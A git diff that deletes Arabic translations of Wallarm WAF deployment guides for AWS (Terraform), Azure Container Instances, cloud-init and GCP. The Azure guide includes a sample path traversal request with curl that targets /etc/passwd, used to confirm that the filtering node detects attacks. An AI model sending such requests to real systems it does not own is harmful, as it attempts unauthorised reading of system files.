"الخاصة" لبوابة API. - -## الفرق بين نقاط النهاية الإقليمية والخاصة لبوابة API - -تحدد المتغير `apigw_private` نوع نقطة النهاية لبوابة API: - -* مع خيار "الإقليمية"، سترسل عقد Wallarm طلبات إلى خدمة بوابة API المتاحة للجمهور `execute-api`. -* مع الخيار "الخاص" - إلى نقاط النهاية في AWS VPC المرفقة بخدمة `execute-api`. **لنشر الإنتاج، يُوصى بالخيار "الخاص".** - -### المزيد من الخيارات لتقييد الوصول إلى بوابة API - -تمكنك أمازون أيضًا من تقييد الوصول إلى بوابتك API بغض النظر عن نوع نقطة النهاية "الخاصة" أو "الإقليمية" على النحو التالي: - -* باستخدام [سياسات الموارد](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html) مع أي من نوعي النقاط النهائية المحددين. -* إدارة الوصول بواسطة [عناوين IPs المصدر](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html)، إذا كان نوع النقطة النهائية "خاص". -* إدارة الوصول بواسطة [VPC و/أو نقطة النهاية](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html)، إذا كان نوع النقطة النهائية "خاص" والذي يفترض بالفعل أن بوابة API غير متاحة من الشبكات العامة بتصميمها. - -### التحول بين أنواع نقاط النهاية لبوابة API - -يمكنك تغيير نوع نقطة النهاية لبوابة API دون إعادة إنشاء المكون ولكن يرجى مراعاة الآتي: - -* عند تغيير النوع من "إقليمية" إلى "خاصة"، ستصبح النقاط النهائية العامة خاصة وبالتالي غير متاحة من الموارد العامة. ينطبق هذا على كل من نقاط النهاية `execute-api` وأسماء النطاقات. -* عند تغيير النوع من "خاص" إلى "إقليمية"، سيتم فصل نقاط نهاية AWS VPC المستهدفة لبوابة API الخاصة بك فورًا وستصبح بوابة API غير متاحة. -* بما أن NGINX للإصدار المجتمعي لا يمكنه الكشف تلقائيًا عن تغييرات اسم DNS، يجب أن يتبع تغيير نوع النقطة النهائية إعادة تشغيل يدوية لـ NGINX على عقد Wallarm. - - يمكنك إعادة التشغيل، إعادة إنشاء العقد أو تنفيذ `nginx -s reload` في كل عقدة. - -إذا كنت تغير نوع النقطة النهائية من "إقليمية" إلى "خاصة": - -1. إنشاء نقطة نهاية AWS VPC وإرفاقها بـ `execute-api`. ستجد المثال في ملف التكوين `endpoint.tf`. -1. تحويل نوع نقطة النهاية لبوابة API وتحديد نقطة نهاية AWS VPC في تكوين بوابة API. بمجرد الانتهاء، سيتوقف تدفق الحركة. -1. تشغيل `nginx -s reload` في كل عقدة Wallarm أو مجرد إعادة إنشاء كل عقدة Wallarm. بمجرد اكتماله، سيتم استعادة تدفق الحركة. - -لا يُوصى بتغيير نوع النقطة النهائية من "خاصة" إلى "إقليمية" ولكن إذا فعلت: - -1. إزالة نقطة النهاية المطلوبة للتشغيل في وضع "الخاص" ثم فقط تحويل نقطة النهائية لبوابة API إلى "إقليمية". -1. تشغيل `nginx -s reload` في كل عقدة Wallarm أو مجرد إعادة إنشاء كل عقدة Wallarm. بمجرد الانتهاء من ذلك، سيتم استعادة تدفق الحركة. - -**للإنتاج، يُوصى بتغيير بوابة API الخاصة بك إلى "خاصة"**، وإلا سيتم تمرير حركة مرور من عقد Wallarm إلى بوابة API عبر الشبكة العامة وقد ينتج عن ذلك رسوم إضافية. - -## تشغيل مثال حل وكيل Wallarm AWS لبوابة API - -1. سجل للحصول على وحدة تحكم Wallarm في [السحابة الأوروبية](https://my.wallarm.com/nodes) أو [السحابة الأمريكية](https://us1.my.wallarm.com/nodes). -1. افتح وحدة تحكم Wallarm → **العقد** وأنشئ العقدة من نوع **عقدة Wallarm**. -1. انسخ رمز العقدة المُنشأ. -1. انسخ مستودع الكود الذي يحتوي على مثال الكود إلى جهازك: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. اضبط قيم المتغيرات في الخيارات `الافتراضية` في ملف `examples/apigateway/variables.tf` للمستودع المنسوخ واحفظ التغييرات. -1. نفذ تشغيل الرزمة بتنفيذ الأوامر التالية من دليل `examples/apigateway`: - - ``` - terraform init - terraform apply - ``` - -لإزالة البيئة المنشورة، استخدم الأمر التالي: - -``` -terraform destroy -``` - -## المراجع - -* [AWS VPC مع الشبكات الفرعية العامة والخاصة (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) -* [API Gateway الخاص](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-private-apis.html) -* [سياسات API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html) -* [أمثلة على سياسات API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html) -* [أنواع API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-api-endpoint-types.html) \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md b/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md deleted file mode 100644 index 8e6bf1cdb1..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md +++ /dev/null @@ -1,102 +0,0 @@ -# نشر Wallarm كوكيل في AWS VPC - -توضح هذه المثال كيفية نشر Wallarm كوكيل مضمن داخل AWS Virtual Private Cloud (VPC) القائم باستخدام [وحدة Terraform](https://registry.terraform.io/modules/wallarm/wallarm/aws/). - -توفر حلول وكيل Wallarm طبقة إضافية وظيفية للشبكة تعمل كموجه متقدم لحركة مرور HTTP مع وظائف أمان WAF وAPI. - -يمكنك رؤية مرونة الحل بالعمل من خلال تجربة [الحل المتقدم للوكيل](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced). - -## حالات الاستخدام - -من بين جميع [خيارات نشر Wallarm المدعومة](https://docs.wallarm.com/installation/supported-deployment-options)، يُوصى باستخدام وحدة Terraform لنشر Wallarm على AWS VPC في **حالات الاستخدام** التالية: - -* تقع البنية التحتية القائمة لديك على AWS. -* تستفيد من ممارسة البنية التحتية ككود (IaC). تتيح وحدة Terraform الخاصة بـWallarm إدارة وتوفير تلقائي لعقدة Wallarm على AWS، مما يعزز الكفاءة والتناسق. - -## المتطلبات - -* تثبيت Terraform 1.0.5 أو أعلى [محليًا](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* الوصول إلى الحساب بدور **المدير** [الدور](https://docs.wallarm.com/user-guides/settings/users/#user-roles) في واجهة Wallarm في [السحابة](https://docs.wallarm.com/about-wallarm/overview/#cloud) الأمريكية أو الأوروبية -* الوصول إلى `https://us1.api.wallarm.com` عند العمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` عند العمل مع سحابة Wallarm الأوروبية. يرجى التأكد من أن الوصول غير محظور بواسطة جدار الحماية - -## هيكل الحل - -![مخطط وكيل Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -يتضمن مثال حل وكيل Wallarm ما يلي: - -* موازن التحميل الخاص بالتطبيقات المتاحة للإنترنت يوجه حركة المرور إلى عقد Wallarm. -* تعقد Wallarm التي تحلل حركة المرور وتعمل كوكيل لأي طلبات أخرى. العناصر المقابلة في المخطط هي النماذج A، B، C من النماذج الحاسوبية EC2. - - يعمل المثال بعقد Wallarm في وضع المراقبة الذي يحدد السلوك الموصوف. يمكن أيضًا لعقد Wallarm أن تعمل في أوضاع أخرى تهدف إلى حجب الطلبات الضارة وإعادة توجيه الطلبات المشروعة فقط. لمعرفة المزيد حول أوضاع عقد Wallarm، استخدم [توثيقنا](https://docs.wallarm.com/admin-en/configure-wallarm-mode/). -* الخدمات التي تعمل كوكيل عقد Wallarm لطلباتها. يمكن أن تكون الخدمة من أي نوع، مثل: - - * تطبيق AWS API Gateway المتصل بـVPC عبر نقاط نهاية VPC (يغطي نشر Wallarm Terraform المقابل في [المثال لـAPI Gateway](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/apigateway)) - * AWS S3 - * النماذج الحاسوبية التي تعمل في مجمع EKS (يُوصى بتكوين Internal Load Balancer أو خدمة NodePort لهذه الحالة) - * أي خدمة خلفية أخرى - - بشكل افتراضي، ستعمل عقد Wallarm على توجيه حركة المرور إلى `https://httpbin.org`. خلال إطلاق هذا المثال، ستتمكن من تحديد أي نطاق خدمة آخر أو مسار متاح من AWS Virtual Private Cloud (VPC) لتوجيه حركة المرور إليه. - - خيار تكوين الوحدة `https_redirect_code = 302` سيتيح لك إعادة توجيه طلبات HTTP إلى HTTPS بأمان بواسطة AWS ALB. - -سيتم نشر جميع العناصر المدرجة (ما عدا الخادم الموكّل) بواسطة وحدة `wallarm` المثال المقدمة. - -## مكونات الكود - -يحتوي هذا المثال على مكونات الكود التالية: - -* `main.tf`: التكوين الرئيسي لوحدة `wallarm` لنشرها كحل وكيل. ينتج التكوين AWS ALB وعقد Wallarm. -* `ssl.tf`: تكوين تحميل SSL/TLS الذي يصدر تلقائيًا شهادة جديدة من AWS Certificate Manager (ACM) للنطاق المحدد في متغير `domain_name` ويربطها بـAWS ALB. - - لتعطيل الميزة، قم بإزالة أو التعليق على ملفات `ssl.tf` و `dns.tf`، وأيضًا التعليق على خيارات `lb_ssl_enabled`, `lb_certificate_arn`, `https_redirect_code`, `depends_on` في تعريف وحدة `wallarm`. بتعطيل الميزة، ستتمكن من استخدام ميناء HTTP (80) فقط. -* `dns.tf`: تكوين AWS Route 53 الذي يوفر سجل DNS لـAWS ALB. - - لتعطيل الميزة، اتبع الملاحظة أعلاه. - -## تشغيل مثال حل وكيل Wallarm AWS - -1. قم بالتسجيل في واجهة Wallarm على [السحابة الأوروبية](https://my.wallarm.com/nodes) أو [السحابة الأمريكية](https://us1.my.wallarm.com/nodes). -1. افتح واجهة Wallarm → **العقد** وأنشئ عقدة من نوع **عقدة Wallarm**. -1. انسخ رمز العقدة المولد. -1. انسخ مستودع الكود المثالي إلى جهازك: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. حدد قيم المتغيرات في خيارات `default` في ملف `examples/proxy/variables.tf` من المستودع الذي تم نسخه واحفظ التغييرات. -1. حدد بروتوكول وعنوان الخادم الموكّل في `examples/proxy/main.tf` → `proxy_pass`. - - بشكل افتراضي، ستعمل Wallarm على توجيه حركة المرور إلى `https://httpbin.org`. إذا كانت القيمة الافتراضية تلبي احتياجاتك، اتركها كما هي. -1. قم بنشر المجمع بتنفيذ الأوامر التالية من دليل `examples/proxy`: - - ``` - terraform init - terraform apply - ``` - -لإزالة البيئة المنشورة، استخدم الأمر التالي: - -``` -terraform destroy -``` - -## استكشاف الأخطاء وإصلاحها - -### Wallarm ينشئ وينهي العقد بشكل متكرر - -يتركز تكوين مجموعة التوسيع التلقائي AWS المقدمة على أعلى موثوقية وسلاسة الخدمة. قد يكون الإنشاء والإنهاء المتكرر لنماذج EC2 أثناء تهيئة مجموعة التوسيع التلقائي AWS ناتجًا عن فشل في الفحوصات الصحية. - -لمعالجة القضية، يرجى مراجعة وإصلاح الإعدادات التالية: - -* رمز عقدة Wallarm له قيمة صالحة تم نسخها من واجهة Wallarm -* تكوين NGINX صالح -* أسماء النطاقات المحددة في تكوين NGINX تم حلها بنجاح (مثل قيمة `proxy_pass`) - - -**الطريقة القصوى** إذا كانت الإعدادات المذكورة أعلاه صالحة، يمكنك محاولة العثور على سبب المشكلة من خلال تعطيل فحوصات الصحة ELB يدويًا في إعدادات مجموعة التوسيع التلقائي. سيحافظ ذلك على النماذج الحاسوبية نشطة حتى لو كان التكوين الخدمي غير صالح، ولن تعاد تشغيل النماذج. ستتمكن من استكشاف السجلات وتصحيح الخدمة بدلاً من التحقيق في المشكلة خلال بضع دقائق. - -## المراجع - -* [شهادات AWS ACM](https://docs.aws.amazon.com/acm/latest/userguide/gs.html) -* [AWS VPC مع شبكات فرعية عامة وخاصة (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm b/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm deleted file mode 160000 index 5d1644de1d..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5d1644de1d82e8b24d2e76ad8070bffa4867518c diff --git a/docs/latest-ar/installation/cloud-platforms/azure/docker-container.md b/docs/latest-ar/installation/cloud-platforms/azure/docker-container.md deleted file mode 100644 index 4553c38b3f..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/azure/docker-container.md +++ /dev/null @@ -1,202 +0,0 @@ -# نشر صورة Docker التابعة لـ Wallarm على Azure - -يقدم هذا الدليل السريع الخطوات اللازمة لنشر [صورة Docker للعقدة التي تعتمد على NGINX لـ Wallarm](https://hub.docker.com/r/wallarm/node) على منصة السحابة Microsoft Azure باستخدام خدمة [**Azure Container Instances**](https://docs.microsoft.com/en-us/azure/container-instances/). - -!!! تحذير "قيود التعليمات" - هذه التعليمات لا تغطي تكوين توازن الحمولة والتطبيق التلقائي للعقدة. إذا قمت بإعداد هذه المكونات بنفسك، نوصي بقراءة التوثيق على [Azure Application Gateway](https://docs.microsoft.com/en-us/azure/application-gateway/overview). - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/azure-container-instances-use-cases.md" - -## المتطلبات - -* اشتراك Azure نشط -* [تثبيت Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli) -* الوصول إلى الحساب ذو دور **المسؤول** والذي تم تعطيل التوثيق ثنائي العامل في Wallarm Console لـ [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) - -## خيارات تكوين حاوية Docker للعقدة Wallarm - ---8<-- "../include/waf/installation/docker-running-options.md" - -## نشر حاوية Docker للعقدة Wallarm المكوّنة من خلال المتغيرات البيئية - -لنشر العقدة التصفية الخاصة بـ Wallarm المحتواة والتي تم تكوينها فقط من خلال المتغيرات البيئية، يمكنك استخدام الأدوات التالية: - -* [Azure CLI](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart) -* [Azure portal](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-portal) -* [Azure PowerShell](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-powershell) -* [ARM template](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-template) -* [Docker CLI](https://docs.microsoft.com/en-us/azure/container-instances/quickstart-docker-cli) - -في هذه التعليمات، يتم نشر الحاوية باستخدام Azure CLI. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. قم بتسجيل الدخول إلى Azure CLI باستخدام الأمر [`az login`](https://docs.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az_login): - - ```bash - az login - ``` -1. قم بإنشاء مجموعة موارد باستخدام الأمر [`az group create`](https://docs.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest#az_group_create). على سبيل المثال، أنشئ الفرقة `myResourceGroup` في منطقة East US بالأمر التالي: - - ```bash - az group create --name myResourceGroup --location eastus - ``` -1. قم بتعيين المتغير البيئي المحلي برمز العقدة Wallarm الذي سيتم استخدامه لربط الوحدة بالسحابة Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. قم بإنشاء المورد Azure من حاوية Docker الخاصة بالعقدة Wallarm باستخدام الأمر [`az container create`](https://docs.microsoft.com/en-us/cli/azure/container?view=azure-cli-latest#az_container_create): - - === "الأمر للسحابة Wallarm الأمريكية" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:4.10.4-1 \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} NGINX_BACKEND='example.com' WALLARM_API_HOST='us1.api.wallarm.com' WALLARM_LABELS='group=' - ``` - === "الأمر للسحابة Wallarm الأوروبية" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:4.10.4-1 \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} NGINX_BACKEND='example.com' WALLARM_LABELS='group=' - ``` - - * `--resource-group`: اسم مجموعة الموارد التي تم إنشاؤها في الخطوة الثانية. - * `--name`: اسم الحاوية. - * `--dns-name-label`: تسمية اسم DNS للحاوية. - * `--ports`: النافذة التي تستمع العقدة التصفية عليها. - * `--image`: اسم صورة Docker الخاصة بالعقدة Wallarm. - * `--environment-variables`: المتغيرات البيئية بتكوينات العقدة التصفية (المتغيرات المتاحة مدرجة في الجدول أدناه). يرجى ملاحظة أنه لا يوصى بتمرير قيمة `WALLARM_API_TOKEN` بشكل صريح. - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" -1. قم بفتح [Azure portal](https://portal.azure.com/) وتأكد من عرض المورد المنشئ في قائمة الموارد. -1. [اختبر عملية تصفية العقدة](#testing-the-filtering-node-operation). - -## نشر حاوية Docker للعقدة Wallarm المكوّنة من خلال الملف المثبت - -لنشر العقدة التصفية الخاصة بـ Wallarm المحتواة والتي تم تكوينها من خلال المتغيرات البيئية والملف المثبت، يمكن استخدام [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli) فقط. - -لنشر الحاوية بالمتغيرات البيئية وملف التكوين المثبت: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. قم بتسجيل الدخول إلى Azure CLI باستخدام الأمر [`az login`](https://docs.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az_login): - - ```bash - az login - ``` -1. قم بإنشاء مجموعة موارد باستخدام الأمر [`az group create`](https://docs.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest#az_group_create). على سبيل المثال، أنشئ الفرقة `myResourceGroup` في منطقة East US بالأمر التالي: - - ```bash - az group create --name myResourceGroup --location eastus - ``` -1. قم بإنشاء ملف التكوين المحلي مع إعدادات العقدة التصفية. على سبيل المثال، ملف بالإعدادات القليلة: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [مجموعة التوجيهات التصفية للعقدة التي يمكن تحديدها في ملف التكوين →][nginx-waf-directives] -1. حدد موقع الملف التكوين إحدى الطرق المناسبة لتثبيت أحجام البيانات في Azure. تتم مناقشة جميع الأساليب في قسم [**تثبيت أحجام البيانات** لتوثيقات Azure](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-volume-azure-files). - - في هذه التعليمات، يتم تثبيت ملف التكوين من المستودع Git. -1. قم بتعيين المتغير البيئي المحلي برمز العقدة Wallarm الذي سيتم استخدامه لربط الوحدة بالسحابة Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. قم بإنشاء مورد Azure من حاوية Docker الخاصة بالعقدة Wallarm باستخدام الأمر [`az container create`](https://docs.microsoft.com/en-us/cli/azure/container?view=azure-cli-latest#az_container_create): - - === "الأمر للسحابة Wallarm الأمريكية" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:4.10.4-1 \ - --gitrepo-url \ - --gitrepo-mount-path /etc/nginx/sites-enabled \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} WALLARM_API_HOST='us1.api.wallarm.com' WALLARM_LABELS='group=' - ``` - === "الأمر للسحابة Wallarm الأوروبية" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:4.10.4-1 \ - --gitrepo-url \ - --gitrepo-mount-path /etc/nginx/sites-enabled \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} WALLARM_LABELS='group=' - ``` - - * `--resource-group`: اسم مجموعة الموارد التي تم إنشاؤها في الخطوة الثانية. - * `--name`: اسم الحاوية. - * `--dns-name-label`: تسمية اسم DNS للحاوية. - * `--ports`: النافذة التي تستمع العقدة التصفية عليها. - * `--image`: اسم صورة Docker الخاصة بالعقدة Wallarm. - * `--gitrepo-url`: URL لمستودع Git الذي يحتوي على ملف التكوين. إذا كان الملف موجودًا في جذر المستودع، فكل ما تحتاج إليه هو تمرير هذا المعلمة فقط. إذا كان الملف موجود في دليل مستودع Git منفصل، يرجى مرور مسار الدليل في المعلمة `--gitrepo-dir` (على سبيل المثال،
      `--gitrepo-dir ./dir1`). - * `--gitrepo-mount-path`: دليل الحاوية لتثبيت ملف التكوين عليه. يمكن تثبيت ملفات التكوين على الدلائل التالية من الحاوية التي يستخدمها NGINX: - - * `/etc/nginx/conf.d` — الإعدادات المشتركة - * `/etc/nginx/sites-enabled` — إعدادات الاستضافة الافتراضية - * `/var/www/html` — الملفات الثابتة - - يجب وصف توجيهات العقدة التصفية في ملف `/etc/nginx/sites-enabled/default`. - - * `--environment-variables`: المتغيرات البيئية التي تحتوي على إعدادات العقدة التصفية واتصال Wallarm Cloud (المتغيرات المتاحة مدرجة في الجدول أدناه). يرجى ملاحظة أنه لا يوصى بتمرير قيمة `WALLARM_API_TOKEN` بصراحة. - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. افتح [Azure portal](https://portal.azure.com/) وتأكد من عرض المورد المنشئ في قائمة الموارد. -1. [اختبر عملية تصفية العقدة](#testing-the-filtering-node-operation). - -## اختبار عملية تصفية العقدة - -1. افتح المورد المنشئ على Azure portal وانسخ قيمة **FQDN**. - - ![Settig up container instance][copy-container-ip-azure-img] - - إذا كان حقل **FQDN** فارغًا، يرجى التأكد من أن الحاوية في الحالة **Running**. - -2. أرسل الطلب بالهجوم [Path Traversal][ptrav-attack-docs] الاختباري إلى النطاق المنسوخ: - - ``` - curl http:///etc/passwd - ``` -3. افتح Wallarm Console → **Attacks** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من عرض الهجوم في القائمة. - ![Attacks in UI][attacks-in-ui-image] - -تظهر التفاصيل الخاصة بالأخطاء التي حدثت أثناء نشر الحاوية على التبويب **Containers** → **Logs** من تفاصيل المورد على Azure portal. إذا كان المورد غير متوفر، يرجى التأكد من تمرير الوحدة المطلوبة للعقدة التصفية بقيم صحيحة إلى الحاوية. \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/cloud-init.md b/docs/latest-ar/installation/cloud-platforms/cloud-init.md deleted file mode 100644 index acc1aebe5a..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/cloud-init.md +++ /dev/null @@ -1,88 +0,0 @@ -# مواصفات سكربت `cloud-init` الخاص بـ Wallarm - -إذا كنت تتبع منهج البنية التحتية كرمز (IaC)، فقد تحتاج إلى استخدام سكربت [`cloud-init`](https://cloudinit.readthedocs.io/en/latest/index.html) لنشر عقدة Wallarm على السحابة العامة. ابتداءً من الإصدار 4.0، توزع Wallarm صور سحابية بها سكربت `cloud-init.py` جاهز للاستخدام ويُشرح في هذا الموضوع. - -## نظرة عامة على سكربت `cloud-init` الخاص بـ Wallarm - -سكربت `cloud-init` الخاص بـ Wallarm متوفر تحت المسار `/opt/wallarm/usr/share/wallarm-common/cloud-init.py` في [صورة AWS السحابية الخاصة بـ Wallarm](https://aws.amazon.com/marketplace/pp/prodview-5rl4dgi4wvbfe). يقوم هذا السكربت بتنفيذ كل من التكوين الأولي والمتقدم للعقدة بمراحل رئيسية تشمل: - -* تشغيل عقدة Wallarm التي تم إنشاؤها مسبقًا في سحابة Wallarm من خلال تنفيذ سكربت تسجيل العقدة `register-node` الخاص بـ Wallarm -* تكوين العقدة وفقًا إما للنهج الوكيل أو المرآة المحدد في متغير `preset` (إذا تم نشر Wallarm باستخدام [وحدة Terraform](aws/terraform-module/overview.md)) -* تهيئة العقدة بدقة وفقًا لأجزاء NGINX -* تهيئة عقدة Wallarm -* أداء فحوصات الصحة لموزع الأحمال - -يتم تشغيل سكربت `cloud-init` مرة واحدة فقط عند بدء تشغيل العقدة، وإعادة تشغيل العقدة لا يقوي بتشغيله. ستجد المزيد من التفاصيل في [وثائق AWS حول مفهوم السكربت](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html). - -## تشغيل سكربت `cloud-init` الخاص بـ Wallarm - -يمكنك تشغيل سكربت `cloud-init` الخاص بـ Wallarm كما يلي: - -* إطلاق عقدة سحابية واستخدام البيانات الوصفية الخاصة بها لوصف تشغيل سكربت `cloud-init.py` -* إنشاء قالب إطلاق العقدة مع سكربت `cloud-init.py` ثم إنشاء مجموعة توسيع تلقائي بناءً عليه - -مثال على تنفيذ السكربت لتشغيل عقدة Wallarm كخادم وكيل لـ [httpbin.org](https://httpbin.org): - -```bash -#!/bin/bash -set -e - -### منع NGINX من التشغيل بدون -### Wallarm مفعل، لا يُوصى بتشغيل -### فحص الصحة قبل اكتمال كل الأمور -### -systemctl stop nginx.service - -/opt/wallarm/usr/share/wallarm-common/cloud-init.py \ - -t xxxxx-base64-registration-token-from-wallarm-cloud-xxxxx \ - -p proxy \ - -m monitoring \ - --proxy-pass https://httpbin.org - -systemctl restart nginx.service - -echo تم تكوين عقدة Wallarm بنجاح! -``` - -لتلبية منهج البنية التحتية كرمز (IaC)، قمنا بتنفيذ [وحدة Terraform لـ AWS](aws/terraform-module/overview.md) التي يمكن أن تكون مثالًا توضيحيًا على استخدام سكربت `cloud-init` الخاص بـ Wallarm. - -## بيانات مساعدة سكربت `cloud-init` الخاص بـ Wallarm - -```plain -usage: /opt/wallarm/usr/share/wallarm-common/cloud-init.py [-h] -t TOKEN [-H HOST] [--skip-register] [-p {proxy,mirror,custom}] - [-m {off,monitoring,safe_blocking,block}] [--proxy-pass PROXY_PASS] - [--libdetection] [--global-snippet GLOBAL_SNIPPET_FILE] - [--http-snippet HTTP_SNIPPET_FILE] [--server-snippet SERVER_SNIPPET_FILE] - [-l LOG_LEVEL] - -يشغّل عقدة Wallarm بالتكوين المحدد في عنقود PaaS. https://docs.wallarm.com/waf-installation/cloud- -platforms/cloud-init/ - -الوسيطات الاختيارية: - -h, --help يُظهر رسالة المساعدة ويخرج - -t TOKEN, --token TOKEN - رمز عقدة Wallarm المنسوخ من واجهة Wallarm Console. - -H HOST, --host HOST خادم API الخاص بـ Wallarm المحدد لسحابة Wallarm المُستخدمة: https://docs.wallarm.com/about-wallarm- - waf/overview/#cloud. افتراضيًا، api.wallarm.com. - --skip-register يتجاوز مرحلة تشغيل العقدة المحلية المُنشأة في سحابة Wallarm (يتجاوز تنفيذ سكربت register-node). - هذه المرحلة ضرورية لنجاح نشر العقدة. - -p {proxy,mirror,custom}, --preset {proxy,mirror,custom} - مُعدّة مسبقة لعقدة Wallarm: "proxy" للعمل كخادم وكيل، "mirror" لمعالجة الحركة المعكوسة، "custom" للتكوين المُحدد عبر أجزاء NGINX فقط. - -m {off,monitoring,safe_blocking,block}, --mode {off,monitoring,safe_blocking,block} - وضع تصفية الحركة: https://docs.wallarm.com/admin-en/configure-parameters-en/#wallarm_mode. - --proxy-pass PROXY_PASS - بروتوكول الخادم الوكيل وعنوانه. مطلوب إذا تم تحديد "proxy" كمُعدة مسبقة. - --libdetection سواء كان يتم استخدام مكتبة libdetection خلال تحليل الحركة: https://docs.wallarm.com/about-wallarm- - waf/protecting-against-attacks.md#library-libdetection. - --global-snippet GLOBAL_SNIPPET_FILE - التكوين المخصص لإضافته إلى التكوين العالمي لـ NGINX. - --http-snippet HTTP_SNIPPET_FILE - التكوين المخصص لإضافته إلى كتلة التكوين "http" لـ NGINX. - --server-snippet SERVER_SNIPPET_FILE - التكوين المخصص لإضافته إلى كتلة التكوين "server" لـ NGINX. - -l LOG_LEVEL, --log LOG_LEVEL - مستوى التفصيلية. - -هذا السكربت يغطي بعض التكوينات الأكثر شعبية لـ AWS، GCP، Azure وغيرها من PaaS. إذا كنت بحاجة إلى تكوين أقوى، -نرحب بك لمراجعة وثائق عقدة Wallarm العامة: https://docs.wallarm.com. -``` \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/gcp/docker-container.md b/docs/latest-ar/installation/cloud-platforms/gcp/docker-container.md deleted file mode 100644 index aebb4c859d..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/gcp/docker-container.md +++ /dev/null @@ -1,167 +0,0 @@ -# نشر صورة Docker للعقدة Wallarm على GCP - -توفر هذه الدليل السريع الخطوات المطلوبة لنشر [صورة Docker للعقدة Wallarm المبنية على NGINX](https://hub.docker.com/r/wallarm/node) على Google Cloud Platform باستخدام [مكون Google Compute Engine (GCE)](https://cloud.google.com/compute). - -!!! تحذير "حدود التعليمات" - هذه التعليمات لا تغطي التكوين في توازن الحمولة والتوسع الذاتي للعقدة. إذا كنت تقوم بإعداد هذه المكونات بنفسك، نوصي بقراءة الجزء المناسب من [توثيق GCP](https://cloud.google.com/compute/docs/load-balancing-and-autoscaling). - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/google-gce-use-cases.md" - -## المتطلبات - -* حساب GCP نشط -* [مشروع GCP قد تم إنشاؤه](https://cloud.google.com/resource-manager/docs/creating-managing-projects) -* تم تمكين [واجهة برمجة تطبيقات Compute Engine](https://console.cloud.google.com/apis/library/compute.googleapis.com?q=compute%20eng&id=a08439d8-80d6-43f1-af2e-6878251f018d) 